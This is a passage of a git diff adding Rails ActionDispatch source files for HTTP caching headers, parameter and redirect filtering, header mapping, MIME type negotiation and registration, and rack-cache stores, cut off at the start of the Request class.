+ autoload :AbstractStore, 'action_dispatch/middleware/session/abstract_store'
+ autoload :CookieStore, 'action_dispatch/middleware/session/cookie_store'
+ autoload :MemCacheStore, 'action_dispatch/middleware/session/mem_cache_store'
+ autoload :CacheStore, 'action_dispatch/middleware/session/cache_store'
+ end
+
+ mattr_accessor :test_app
+
+ autoload_under 'testing' do
+ autoload :Assertions
+ autoload :Integration
+ autoload :IntegrationTest, 'action_dispatch/testing/integration'
+ autoload :TestProcess
+ autoload :TestRequest
+ autoload :TestResponse
+ end
+end
+
+autoload :Mime, 'action_dispatch/http/mime_type'
+
+ActiveSupport.on_load(:action_view) do
+ ActionView::Base.default_formats ||= Mime::SET.symbols
+ ActionView::Template::Types.delegate_to Mime
+end
diff --git a/actionpack/lib/action_dispatch/http/cache.rb b/actionpack/lib/action_dispatch/http/cache.rb
new file mode 100644
index 0000000..f9b2783
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/cache.rb
@@ -0,0 +1,175 @@
+
+module ActionDispatch
+ module Http
+ module Cache
+ module Request
+
+ HTTP_IF_MODIFIED_SINCE = 'HTTP_IF_MODIFIED_SINCE'.freeze
+ HTTP_IF_NONE_MATCH = 'HTTP_IF_NONE_MATCH'.freeze
+
+ def if_modified_since
+ if since = env[HTTP_IF_MODIFIED_SINCE]
+ Time.rfc2822(since) rescue nil
+ end
+ end
+
+ def if_none_match
+ env[HTTP_IF_NONE_MATCH]
+ end
+
+ def if_none_match_etags
+ (if_none_match ? if_none_match.split(/\s*,\s*/) : []).collect do |etag|
+ etag.gsub(/^\"|\"$/, "")
+ end
+ end
+
+ def not_modified?(modified_at)
+ if_modified_since && modified_at && if_modified_since >= modified_at
+ end
+
+ def etag_matches?(etag)
+ if etag
+ etag = etag.gsub(/^\"|\"$/, "")
+ if_none_match_etags.include?(etag)
+ end
+ end
+
+ # Check response freshness (Last-Modified and ETag) against request
+ # If-Modified-Since and If-None-Match conditions. If both headers are
+ # supplied, both must match, or the request is not considered fresh.
+ def fresh?(response)
+ last_modified = if_modified_since
+ etag = if_none_match
+
+ return false unless last_modified || etag
+
+ success = true
+ success &&= not_modified?(response.last_modified) if last_modified
+ success &&= etag_matches?(response.etag) if etag
+ success
+ end
+ end
+
+ module Response
+ attr_reader :cache_control, :etag
+ alias :etag? :etag
+
+ def last_modified
+ if last = headers[LAST_MODIFIED]
+ Time.httpdate(last)
+ end
+ end
+
+ def last_modified?
+ headers.include?(LAST_MODIFIED)
+ end
+
+ def last_modified=(utc_time)
+ headers[LAST_MODIFIED] = utc_time.httpdate
+ end
+
+ def date
+ if date_header = headers['Date']
+ Time.httpdate(date_header)
+ end
+ end
+
+ def date?
+ headers.include?('Date')
+ end
+
+ def date=(utc_time)
+ headers['Date'] = utc_time.httpdate
+ end
+
+ def etag=(etag)
+ key = ActiveSupport::Cache.expand_cache_key(etag)
+ @etag = self[ETAG] = %("#{Digest::MD5.hexdigest(key)}")
+ end
+
+ private
+
+ LAST_MODIFIED = "Last-Modified".freeze
+ ETAG = "ETag".freeze
+ CACHE_CONTROL = "Cache-Control".freeze
+ SPECIAL_KEYS = %w[extras no-cache max-age public must-revalidate]
+
+ def cache_control_segments
+ if cache_control = self[CACHE_CONTROL]
+ cache_control.delete(' ').split(',')
+ else
+ []
+ end
+ end
+
+ def cache_control_headers
+ cache_control = {}
+
+ cache_control_segments.each do |segment|
+ directive, argument = segment.split('=', 2)
+
+ if SPECIAL_KEYS.include? directive
+ key = directive.tr('-', '_')
+ cache_control[key.to_sym] = argument || true
+ else
+ cache_control[:extras] ||= []
+ cache_control[:extras] << segment
+ end
+ end
+
+ cache_control
+ end
+
+ def prepare_cache_control!
+ @cache_control = cache_control_headers
+ @etag = self[ETAG]
+ end
+
+ def handle_conditional_get!
+ if etag? || last_modified? || !@cache_control.empty?
+ set_conditional_cache_control!
+ end
+ end
+
+ DEFAULT_CACHE_CONTROL = "max-age=0, private, must-revalidate".freeze
+ NO_CACHE = "no-cache".freeze
+ PUBLIC = "public".freeze
+ PRIVATE = "private".freeze
+ MUST_REVALIDATE = "must-revalidate".freeze
+
+ def set_conditional_cache_control!
+ control = {}
+ cc_headers = cache_control_headers
+ if extras = cc_headers.delete(:extras)
+ @cache_control[:extras] ||= []
+ @cache_control[:extras] += extras
+ @cache_control[:extras].uniq!
+ end
+
+ control.merge! cc_headers
+ control.merge! @cache_control
+
+ if control.empty?
+ headers[CACHE_CONTROL] = DEFAULT_CACHE_CONTROL
+ elsif control[:no_cache]
+ headers[CACHE_CONTROL] = NO_CACHE
+ if control[:extras]
+ headers[CACHE_CONTROL] += ", #{control[:extras].join(', ')}"
+ end
+ else
+ extras = control[:extras]
+ max_age = control[:max_age]
+
+ options = []
+ options << "max-age=#{max_age.to_i}" if max_age
+ options << (control[:public] ? PUBLIC : PRIVATE)
+ options << MUST_REVALIDATE if control[:must_revalidate]
+ options.concat(extras) if extras
+
+ headers[CACHE_CONTROL] = options.join(", ")
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/filter_parameters.rb b/actionpack/lib/action_dispatch/http/filter_parameters.rb
new file mode 100644
index 0000000..289e204
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/filter_parameters.rb
@@ -0,0 +1,78 @@
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/object/duplicable'
+require 'action_dispatch/http/parameter_filter'
+
+module ActionDispatch
+ module Http
+ # Allows you to specify sensitive parameters which will be replaced from
+ # the request log by looking in the query string of the request and all
+ # subhashes of the params hash to filter. If a block is given, each key and
+ # value of the params hash and all subhashes is passed to it, the value
+ # or key can be replaced using String#replace or similar method.
+ #
+ # env["action_dispatch.parameter_filter"] = [:password]
+ # => replaces the value to all keys matching /password/i with "[FILTERED]"
+ #
+ # env["action_dispatch.parameter_filter"] = [:foo, "bar"]
+ # => replaces the value to all keys matching /foo|bar/i with "[FILTERED]"
+ #
+ # env["action_dispatch.parameter_filter"] = lambda do |k,v|
+ # v.reverse! if k =~ /secret/i
+ # end
+ # => reverses the value to all keys matching /secret/i
+ module FilterParameters
+ ENV_MATCH = [/RAW_POST_DATA/, "rack.request.form_vars"] # :nodoc:
+ NULL_PARAM_FILTER = ParameterFilter.new # :nodoc:
+ NULL_ENV_FILTER = ParameterFilter.new ENV_MATCH # :nodoc:
+
+ def initialize(env)
+ super
+ @filtered_parameters = nil
+ @filtered_env = nil
+ @filtered_path = nil
+ end
+
+ # Return a hash of parameters with all sensitive data replaced.
+ def filtered_parameters
+ @filtered_parameters ||= parameter_filter.filter(parameters)
+ end
+
+ # Return a hash of request.env with all sensitive data replaced.
+ def filtered_env
+ @filtered_env ||= env_filter.filter(@env)
+ end
+
+ # Reconstructed a path with all sensitive GET parameters replaced.
+ def filtered_path
+ @filtered_path ||= query_string.empty? ? path : "#{path}?#{filtered_query_string}"
+ end
+
+ protected
+
+ def parameter_filter
+ parameter_filter_for @env.fetch("action_dispatch.parameter_filter") {
+ return NULL_PARAM_FILTER
+ }
+ end
+
+ def env_filter
+ user_key = @env.fetch("action_dispatch.parameter_filter") {
+ return NULL_ENV_FILTER
+ }
+ parameter_filter_for(Array(user_key) + ENV_MATCH)
+ end
+
+ def parameter_filter_for(filters)
+ ParameterFilter.new(filters)
+ end
+
+ KV_RE = '[^&;=]+'
+ PAIR_RE = %r{(#{KV_RE})=(#{KV_RE})}
+ def filtered_query_string
+ query_string.gsub(PAIR_RE) do |_|
+ parameter_filter.filter([[$1, $2]]).first.join("=")
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/filter_redirect.rb b/actionpack/lib/action_dispatch/http/filter_redirect.rb
new file mode 100644
index 0000000..900ce1c
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/filter_redirect.rb
@@ -0,0 +1,37 @@
+module ActionDispatch
+ module Http
+ module FilterRedirect
+
+ FILTERED = '[FILTERED]'.freeze # :nodoc:
+
+ def filtered_location
+ if !location_filter.empty? && location_filter_match?
+ FILTERED
+ else
+ location
+ end
+ end
+
+ private
+
+ def location_filter
+ if request.present?
+ request.env['action_dispatch.redirect_filter'] || []
+ else
+ []
+ end
+ end
+
+ def location_filter_match?
+ location_filter.any? do |filter|
+ if String === filter
+ location.include?(filter)
+ elsif Regexp === filter
+ location.match(filter)
+ end
+ end
+ end
+
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/headers.rb b/actionpack/lib/action_dispatch/http/headers.rb
new file mode 100644
index 0000000..2666cd4
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/headers.rb
@@ -0,0 +1,63 @@
+module ActionDispatch
+ module Http
+ class Headers
+ CGI_VARIABLES = %w(
+ CONTENT_TYPE CONTENT_LENGTH
+ HTTPS AUTH_TYPE GATEWAY_INTERFACE
+ PATH_INFO PATH_TRANSLATED QUERY_STRING
+ REMOTE_ADDR REMOTE_HOST REMOTE_IDENT REMOTE_USER
+ REQUEST_METHOD SCRIPT_NAME
+ SERVER_NAME SERVER_PORT SERVER_PROTOCOL SERVER_SOFTWARE
+ )
+ HTTP_HEADER = /\A[A-Za-z0-9-]+\z/
+
+ include Enumerable
+ attr_reader :env
+
+ def initialize(env = {})
+ @env = env
+ end
+
+ def [](key)
+ @env[env_name(key)]
+ end
+
+ def []=(key, value)
+ @env[env_name(key)] = value
+ end
+
+ def key?(key); @env.key? key; end
+ alias :include? :key?
+
+ def fetch(key, *args, &block)
+ @env.fetch env_name(key), *args, &block
+ end
+
+ def each(&block)
+ @env.each(&block)
+ end
+
+ def merge(headers_or_env)
+ headers = Http::Headers.new(env.dup)
+ headers.merge!(headers_or_env)
+ headers
+ end
+
+ def merge!(headers_or_env)
+ headers_or_env.each do |key, value|
+ self[env_name(key)] = value
+ end
+ end
+
+ private
+ def env_name(key)
+ key = key.to_s
+ if key =~ HTTP_HEADER
+ key = key.upcase.tr('-', '_')
+ key = "HTTP_" + key unless CGI_VARIABLES.include?(key)
+ end
+ key
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
new file mode 100644
index 0000000..40bb060
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -0,0 +1,133 @@
+require 'active_support/core_ext/module/attribute_accessors'
+
+module ActionDispatch
+ module Http
+ module MimeNegotiation
+ extend ActiveSupport::Concern
+
+ included do
+ mattr_accessor :ignore_accept_header
+ self.ignore_accept_header = false
+ end
+
+ # The MIME type of the HTTP request, such as Mime::XML.
+ #
+ # For backward compatibility, the post \format is extracted from the
+ # X-Post-Data-Format HTTP header if present.
+ def content_mime_type
+ @env["action_dispatch.request.content_type"] ||= begin
+ if @env['CONTENT_TYPE'] =~ /^([^,\;]*)/
+ Mime::Type.lookup($1.strip.downcase)
+ else
+ nil
+ end
+ end
+ end
+
+ def content_type
+ content_mime_type && content_mime_type.to_s
+ end
+
+ # Returns the accepted MIME type for the request.
+ def accepts
+ @env["action_dispatch.request.accepts"] ||= begin
+ header = @env['HTTP_ACCEPT'].to_s.strip
+
+ if header.empty?
+ [content_mime_type]
+ else
+ Mime::Type.parse(header)
+ end
+ end
+ end
+
+ # Returns the MIME type for the \format used in the request.
+ #
+ # GET /posts/5.xml | request.format => Mime::XML
+ # GET /posts/5.xhtml | request.format => Mime::HTML
+ # GET /posts/5 | request.format => Mime::HTML or MIME::JS, or request.accepts.first
+ #
+ def format(view_path = [])
+ formats.first
+ end
+
+ def formats
+ @env["action_dispatch.request.formats"] ||=
+ if parameters[:format]
+ Array(Mime[parameters[:format]])
+ elsif use_accept_header && valid_accept_header
+ accepts
+ elsif xhr?
+ [Mime::JS]
+ else
+ [Mime::HTML]
+ end
+ end
+
+ # Sets the \format by string extension, which can be used to force custom formats
+ # that are not controlled by the extension.
+ #
+ # class ApplicationController < ActionController::Base
+ # before_action :adjust_format_for_iphone
+ #
+ # private
+ # def adjust_format_for_iphone
+ # request.format = :iphone if request.env["HTTP_USER_AGENT"][/iPhone/]
+ # end
+ # end
+ def format=(extension)
+ parameters[:format] = extension.to_s
+ @env["action_dispatch.request.formats"] = [Mime::Type.lookup_by_extension(parameters[:format])]
+ end
+
+ # Sets the \formats by string extensions. This differs from #format= by allowing you
+ # to set multiple, ordered formats, which is useful when you want to have a fallback.
+ #
+ # In this example, the :iphone format will be used if it's available, otherwise it'll fallback
+ # to the :html format.
+ #
+ # class ApplicationController < ActionController::Base
+ # before_action :adjust_format_for_iphone_with_html_fallback
+ #
+ # private
+ # def adjust_format_for_iphone_with_html_fallback
+ # request.formats = [ :iphone, :html ] if request.env["HTTP_USER_AGENT"][/iPhone/]
+ # end
+ # end
+ def formats=(extensions)
+ parameters[:format] = extensions.first.to_s
+ @env["action_dispatch.request.formats"] = extensions.collect do |extension|
+ Mime::Type.lookup_by_extension(extension)
+ end
+ end
+
+ # Receives an array of mimes and return the first user sent mime that
+ # matches the order array.
+ #
+ def negotiate_mime(order)
+ formats.each do |priority|
+ if priority == Mime::ALL
+ return order.first
+ elsif order.include?(priority)
+ return priority
+ end
+ end
+
+ order.include?(Mime::ALL) ? formats.first : nil
+ end
+
+ protected
+
+ BROWSER_LIKE_ACCEPTS = /,\s*\*\/\*|\*\/\*\s*,/
+
+ def valid_accept_header
+ (xhr? && (accept.present? || content_mime_type)) ||
+ (accept.present? && accept !~ BROWSER_LIKE_ACCEPTS)
+ end
+
+ def use_accept_header
+ !self.class.ignore_accept_header
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
new file mode 100644
index 0000000..f29ad35
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -0,0 +1,330 @@
+require 'set'
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/string/starts_ends_with'
+
+module Mime
+ class Mimes < Array
+ def symbols
+ @symbols ||= map { |m| m.to_sym }
+ end
+
+ %w(<< concat shift unshift push pop []= clear compact! collect!
+ delete delete_at delete_if flatten! map! insert reject! reverse!
+ replace slice! sort! uniq!).each do |method|
+ module_eval <<-CODE, __FILE__, __LINE__ + 1
+ def #{method}(*)
+ @symbols = nil
+ super
+ end
+ CODE
+ end
+ end
+
+ SET = Mimes.new
+ EXTENSION_LOOKUP = {}
+ LOOKUP = Hash.new { |h, k| h[k] = Type.new(k) unless k.blank? }
+
+ class << self
+ def [](type)
+ return type if type.is_a?(Type)
+ Type.lookup_by_extension(type) || NullType.new
+ end
+
+ def fetch(type)
+ return type if type.is_a?(Type)
+ EXTENSION_LOOKUP.fetch(type.to_s) { |k| yield k }
+ end
+ end
+
+ # Encapsulates the notion of a mime type. Can be used at render time, for example, with:
+ #
+ # class PostsController < ActionController::Base
+ # def show
+ # @post = Post.find(params[:id])
+ #
+ # respond_to do |format|
+ # format.html
+ # format.ics { render text: post.to_ics, mime_type: Mime::Type["text/calendar"] }
+ # format.xml { render xml: @people }
+ # end
+ # end
+ # end
+ class Type
+ @@html_types = Set.new [:html, :all]
+ cattr_reader :html_types
+
+ # These are the content types which browsers can generate without using ajax, flash, etc
+ # i.e. following a link, getting an image or posting a form. CSRF protection
+ # only needs to protect against these types.
+ @@browser_generated_types = Set.new [:html, :url_encoded_form, :multipart_form, :text]
+ attr_reader :symbol
+
+ @register_callbacks = []
+
+ # A simple helper class used in parsing the accept header
+ class AcceptItem #:nodoc:
+ attr_accessor :index, :name, :q
+ alias :to_s :name
+
+ def initialize(index, name, q = nil)
+ @index = index
+ @name = name
+ q ||= 0.0 if @name == Mime::ALL.to_s # default wildcard match to end of list
+ @q = ((q || 1.0).to_f * 100).to_i
+ end
+
+ def <=>(item)
+ result = item.q <=> @q
+ result = @index <=> item.index if result == 0
+ result
+ end
+
+ def ==(item)
+ @name == item.to_s
+ end
+ end
+
+ class AcceptList < Array #:nodoc:
+ def assort!
+ sort!
+
+ # Take care of the broken text/xml entry by renaming or deleting it
+ if text_xml_idx && app_xml_idx
+ app_xml.q = [text_xml.q, app_xml.q].max # set the q value to the max of the two
+ exchange_xml_items if app_xml_idx > text_xml_idx # make sure app_xml is ahead of text_xml in the list
+ delete_at(text_xml_idx) # delete text_xml from the list
+ elsif text_xml_idx
+ text_xml.name = Mime::XML.to_s
+ end
+
+ # Look for more specific XML-based types and sort them ahead of app/xml
+ if app_xml_idx
+ idx = app_xml_idx
+
+ while idx < length
+ type = self[idx]
+ break if type.q < app_xml.q
+
+ if type.name.ends_with? '+xml'
+ self[app_xml_idx], self[idx] = self[idx], app_xml
+ @app_xml_idx = idx
+ end
+ idx += 1
+ end
+ end
+
+ map! { |i| Mime::Type.lookup(i.name) }.uniq!
+ to_a
+ end
+
+ private
+ def text_xml_idx
+ @text_xml_idx ||= index('text/xml')
+ end
+
+ def app_xml_idx
+ @app_xml_idx ||= index(Mime::XML.to_s)
+ end
+
+ def text_xml
+ self[text_xml_idx]
+ end
+
+ def app_xml
+ self[app_xml_idx]
+ end
+
+ def exchange_xml_items
+ self[app_xml_idx], self[text_xml_idx] = text_xml, app_xml
+ @app_xml_idx, @text_xml_idx = text_xml_idx, app_xml_idx
+ end
+ end
+
+ class << self
+ TRAILING_STAR_REGEXP = /(text|application)\/\*/
+ PARAMETER_SEPARATOR_REGEXP = /;\s*\w+="?\w+"?/
+
+ def register_callback(&block)
+ @register_callbacks << block
+ end
+
+ def lookup(string)
+ LOOKUP[string]
+ end
+
+ def lookup_by_extension(extension)
+ EXTENSION_LOOKUP[extension.to_s]
+ end
+
+ # Registers an alias that's not used on mime type lookup, but can be referenced directly. Especially useful for
+ # rendering different HTML versions depending on the user agent, like an iPhone.
+ def register_alias(string, symbol, extension_synonyms = [])
+ register(string, symbol, [], extension_synonyms, true)
+ end
+
+ def register(string, symbol, mime_type_synonyms = [], extension_synonyms = [], skip_lookup = false)
+ Mime.const_set(symbol.upcase, Type.new(string, symbol, mime_type_synonyms))
+
+ new_mime = Mime.const_get(symbol.upcase)
+ SET << new_mime
+
+ ([string] + mime_type_synonyms).each { |str| LOOKUP[str] = SET.last } unless skip_lookup
+ ([symbol] + extension_synonyms).each { |ext| EXTENSION_LOOKUP[ext.to_s] = SET.last }
+
+ @register_callbacks.each do |callback|
+ callback.call(new_mime)
+ end
+ end
+
+ def parse(accept_header)
+ if accept_header !~ /,/
+ accept_header = accept_header.split(PARAMETER_SEPARATOR_REGEXP).first
+ parse_trailing_star(accept_header) || [Mime::Type.lookup(accept_header)]
+ else
+ list, index = AcceptList.new, 0
+ accept_header.split(',').each do |header|
+ params, q = header.split(PARAMETER_SEPARATOR_REGEXP)
+ if params.present?
+ params.strip!
+
+ params = parse_trailing_star(params) || [params]
+
+ params.each do |m|
+ list << AcceptItem.new(index, m.to_s, q)
+ index += 1
+ end
+ end
+ end
+ list.assort!
+ end
+ end
+
+ def parse_trailing_star(accept_header)
+ parse_data_with_trailing_star($1) if accept_header =~ TRAILING_STAR_REGEXP
+ end
+
+ # For an input of <tt>'text'</tt>, returns <tt>[Mime::JSON, Mime::XML, Mime::ICS,
+ # Mime::HTML, Mime::CSS, Mime::CSV, Mime::JS, Mime::YAML, Mime::TEXT]</tt>.
+ #
+ # For an input of <tt>'application'</tt>, returns <tt>[Mime::HTML, Mime::JS,
+ # Mime::XML, Mime::YAML, Mime::ATOM, Mime::JSON, Mime::RSS, Mime::URL_ENCODED_FORM]</tt>.
+ def parse_data_with_trailing_star(input)
+ Mime::SET.select { |m| m =~ input }
+ end
+
+ # This method is opposite of register method.
+ #
+ # Usage:
+ #
+ # Mime::Type.unregister(:mobile)
+ def unregister(symbol)
+ symbol = symbol.upcase
+ mime = Mime.const_get(symbol)
+ Mime.instance_eval { remove_const(symbol) }
+
+ SET.delete_if { |v| v.eql?(mime) }
+ LOOKUP.delete_if { |_,v| v.eql?(mime) }
+ EXTENSION_LOOKUP.delete_if { |_,v| v.eql?(mime) }
+ end
+ end
+
+ def initialize(string, symbol = nil, synonyms = [])
+ @symbol, @synonyms = symbol, synonyms
+ @string = string
+ end
+
+ def to_s
+ @string
+ end
+
+ def to_str
+ to_s
+ end
+
+ def to_sym
+ @symbol
+ end
+
+ def ref
+ to_sym || to_s
+ end
+
+ def ===(list)
+ if list.is_a?(Array)
+ (@synonyms + [ self ]).any? { |synonym| list.include?(synonym) }
+ else
+ super
+ end
+ end
+
+ def ==(mime_type)
+ return false if mime_type.blank?
+ (@synonyms + [ self ]).any? do |synonym|
+ synonym.to_s == mime_type.to_s || synonym.to_sym == mime_type.to_sym
+ end
+ end
+
+ def =~(mime_type)
+ return false if mime_type.blank?
+ regexp = Regexp.new(Regexp.quote(mime_type.to_s))
+ (@synonyms + [ self ]).any? do |synonym|
+ synonym.to_s =~ regexp
+ end
+ end
+
+ # Returns true if Action Pack should check requests using this Mime Type for possible request forgery. See
+ # ActionController::RequestForgeryProtection.
+ def verify_request?
+ ActiveSupport::Deprecation.warn "Mime::Type#verify_request? is deprecated and will be removed in Rails 4.1"
+ @@browser_generated_types.include?(to_sym)
+ end
+
+ def self.browser_generated_types
+ ActiveSupport::Deprecation.warn "Mime::Type.browser_generated_types is deprecated and will be removed in Rails 4.1"
+ @@browser_generated_types
+ end
+
+ def html?
+ @@html_types.include?(to_sym) || @string =~ /html/
+ end
+
+
+ private
+
+ def to_ary; end
+ def to_a; end
+
+ def method_missing(method, *args)
+ if method.to_s.ends_with? '?'
+ method[0..-2].downcase.to_sym == to_sym
+ else
+ super
+ end
+ end
+
+ def respond_to_missing?(method, include_private = false) #:nodoc:
+ method.to_s.ends_with? '?'
+ end
+ end
+
+ class NullType
+ def nil?
+ true
+ end
+
+ def ref
+ nil
+ end
+
+ def respond_to_missing?(method, include_private = false)
+ method.to_s.ends_with? '?'
+ end
+
+ private
+ def method_missing(method, *args)
+ false if method.to_s.ends_with? '?'
+ end
+ end
+end
+
+require 'action_dispatch/http/mime_types'
diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb
new file mode 100644
index 0000000..a6b3aee
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/mime_types.rb
@@ -0,0 +1,35 @@
+# Build list of Mime types for HTTP responses
+# http://www.iana.org/assignments/media-types/
+
+Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
+Mime::Type.register "text/plain", :text, [], %w(txt)
+Mime::Type.register "text/javascript", :js, %w( application/javascript application/x-javascript )
+Mime::Type.register "text/css", :css
+Mime::Type.register "text/calendar", :ics
+Mime::Type.register "text/csv", :csv
+
+Mime::Type.register "image/png", :png, [], %w(png)
+Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe pjpeg)
+Mime::Type.register "image/gif", :gif, [], %w(gif)
+Mime::Type.register "image/bmp", :bmp, [], %w(bmp)
+Mime::Type.register "image/tiff", :tiff, [], %w(tif tiff)
+
+Mime::Type.register "video/mpeg", :mpeg, [], %w(mpg mpeg mpe)
+
+Mime::Type.register "application/xml", :xml, %w( text/xml application/x-xml )
+Mime::Type.register "application/rss+xml", :rss
+Mime::Type.register "application/atom+xml", :atom
+Mime::Type.register "application/x-yaml", :yaml, %w( text/yaml )
+
+Mime::Type.register "multipart/form-data", :multipart_form
+Mime::Type.register "application/x-www-form-urlencoded", :url_encoded_form
+
+# http://www.ietf.org/rfc/rfc4627.txt
+# http://www.json.org/JSONRequest.html
+Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest )
+
+Mime::Type.register "application/pdf", :pdf, [], %w(pdf)
+Mime::Type.register "application/zip", :zip, [], %w(zip)
+
+# Create Mime::ALL but do not add it to the SET.
+Mime::ALL = Mime::Type.new("*/*", :all, [])
diff --git a/actionpack/lib/action_dispatch/http/parameter_filter.rb b/actionpack/lib/action_dispatch/http/parameter_filter.rb
new file mode 100644
index 0000000..b655a54
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/parameter_filter.rb
@@ -0,0 +1,72 @@
+module ActionDispatch
+ module Http
+ class ParameterFilter
+ FILTERED = '[FILTERED]'.freeze # :nodoc:
+
+ def initialize(filters = [])
+ @filters = filters
+ end
+
+ def filter(params)
+ compiled_filter.call(params)
+ end
+
+ private
+
+ def compiled_filter
+ @compiled_filter ||= CompiledFilter.compile(@filters)
+ end
+
+ class CompiledFilter # :nodoc:
+ def self.compile(filters)
+ return lambda { |params| params.dup } if filters.empty?
+
+ strings, regexps, blocks = [], [], []
+
+ filters.each do |item|
+ case item
+ when Proc
+ blocks << item
+ when Regexp
+ regexps << item
+ else
+ strings << item.to_s
+ end
+ end
+
+ regexps << Regexp.new(strings.join('|'), true) unless strings.empty?
+ new regexps, blocks
+ end
+
+ attr_reader :regexps, :blocks
+
+ def initialize(regexps, blocks)
+ @regexps = regexps
+ @blocks = blocks
+ end
+
+ def call(original_params)
+ filtered_params = {}
+
+ original_params.each do |key, value|
+ if regexps.any? { |r| key =~ r }
+ value = FILTERED
+ elsif value.is_a?(Hash)
+ value = call(value)
+ elsif value.is_a?(Array)
+ value = value.map { |v| v.is_a?(Hash) ? call(v) : v }
+ elsif blocks.any?
+ key = key.dup
+ value = value.dup if value.duplicable?
+ blocks.each { |b| b.call(key, value) }
+ end
+
+ filtered_params[key] = value
+ end
+
+ filtered_params
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/parameters.rb b/actionpack/lib/action_dispatch/http/parameters.rb
new file mode 100644
index 0000000..246d9c1
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/parameters.rb
@@ -0,0 +1,83 @@
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/hash/indifferent_access'
+
+module ActionDispatch
+ module Http
+ module Parameters
+ def initialize(env)
+ super
+ @symbolized_path_params = nil
+ end
+
+ # Returns both GET and POST \parameters in a single hash.
+ def parameters
+ @env["action_dispatch.request.parameters"] ||= begin
+ params = begin
+ request_parameters.merge(query_parameters)
+ rescue EOFError
+ query_parameters.dup
+ end
+ params.merge!(path_parameters)
+ params.with_indifferent_access
+ end
+ end
+ alias :params :parameters
+
+ def path_parameters=(parameters) #:nodoc:
+ @symbolized_path_params = nil
+ @env.delete("action_dispatch.request.parameters")
+ @env["action_dispatch.request.path_parameters"] = parameters
+ end
+
+ # The same as <tt>path_parameters</tt> with explicitly symbolized keys.
+ def symbolized_path_parameters
+ @symbolized_path_params ||= path_parameters.symbolize_keys
+ end
+
+ # Returns a hash with the \parameters used to form the \path of the request.
+ # Returned hash keys are strings:
+ #
+ # {'action' => 'my_action', 'controller' => 'my_controller'}
+ #
+ # See <tt>symbolized_path_parameters</tt> for symbolized keys.
+ def path_parameters
+ @env["action_dispatch.request.path_parameters"] ||= {}
+ end
+
+ def reset_parameters #:nodoc:
+ @env.delete("action_dispatch.request.parameters")
+ end
+
+ private
+
+ # Convert nested Hash to HashWithIndifferentAccess
+ # and UTF-8 encode both keys and values in nested Hash.
+ #
+ # TODO: Validate that the characters are UTF-8. If they aren't,
+ # you'll get a weird error down the road, but our form handling
+ # should really prevent that from happening
+ def normalize_encode_params(params)
+ if params.is_a?(String)
+ return params.force_encoding(Encoding::UTF_8).encode!
+ elsif !params.is_a?(Hash)
+ return params
+ end
+
+ new_hash = {}
+ params.each do |k, v|
+ new_key = k.is_a?(String) ? k.dup.force_encoding("UTF-8").encode! : k
+ new_hash[new_key] =
+ case v
+ when Hash
+ normalize_encode_params(v)
+ when Array
+ v.map! {|el| normalize_encode_params(el) }
+ else
+ normalize_encode_params(v)
+ end
+ end
+ new_hash.with_indifferent_access
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/rack_cache.rb b/actionpack/lib/action_dispatch/http/rack_cache.rb
new file mode 100644
index 0000000..003ae40
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/rack_cache.rb
@@ -0,0 +1,61 @@
+require "rack/cache"
+require "rack/cache/context"
+require "active_support/cache"
+
+module ActionDispatch
+ class RailsMetaStore < Rack::Cache::MetaStore
+ def self.resolve(uri)
+ new
+ end
+
+ def initialize(store = Rails.cache)
+ @store = store
+ end
+
+ def read(key)
+ if data = @store.read(key)
+ Marshal.load(data)
+ else
+ []
+ end
+ end
+
+ def write(key, value)
+ @store.write(key, Marshal.dump(value))
+ end
+
+ ::Rack::Cache::MetaStore::RAILS = self
+ end
+
+ class RailsEntityStore < Rack::Cache::EntityStore
+ def self.resolve(uri)
+ new
+ end
+
+ def initialize(store = Rails.cache)
+ @store = store
+ end
+
+ def exist?(key)
+ @store.exist?(key)
+ end
+
+ def open(key)
+ @store.read(key)
+ end
+
+ def read(key)
+ body = open(key)
+ body.join if body
+ end
+
+ def write(body)
+ buf = []
+ key, size = slurp(body) { |part| buf << part }
+ @store.write(key, buf)
+ [key, size]
+ end
+
+ ::Rack::Cache::EntityStore::RAILS = self
+ end
+end
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
new file mode 100644
index 0000000..ebd87c4
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -0,0 +1,331 @@
+require 'stringio'
+
+require 'active_support/inflector'
+require 'action_dispatch/http/headers'
+require 'action_controller/metal/exceptions'
+require 'rack/request'
+require 'action_dispatch/http/cache'
+require 'action_dispatch/http/mime_negotiation'
+require 'action_dispatch/http/parameters'
+require 'action_dispatch/http/filter_parameters'
+require 'action_dispatch/http/upload'
+require 'action_dispatch/http/url'
+require 'active_support/core_ext/array/conversions'
+
+module ActionDispatch
+ class Request < Rack::Request
+ include ActionDispatch::Http::Cache::Request
+ include ActionDispatch::Http::MimeNegotiation
+ include ActionDispatch::Http::Parameters
+ include ActionDispatch::Http::FilterParameters
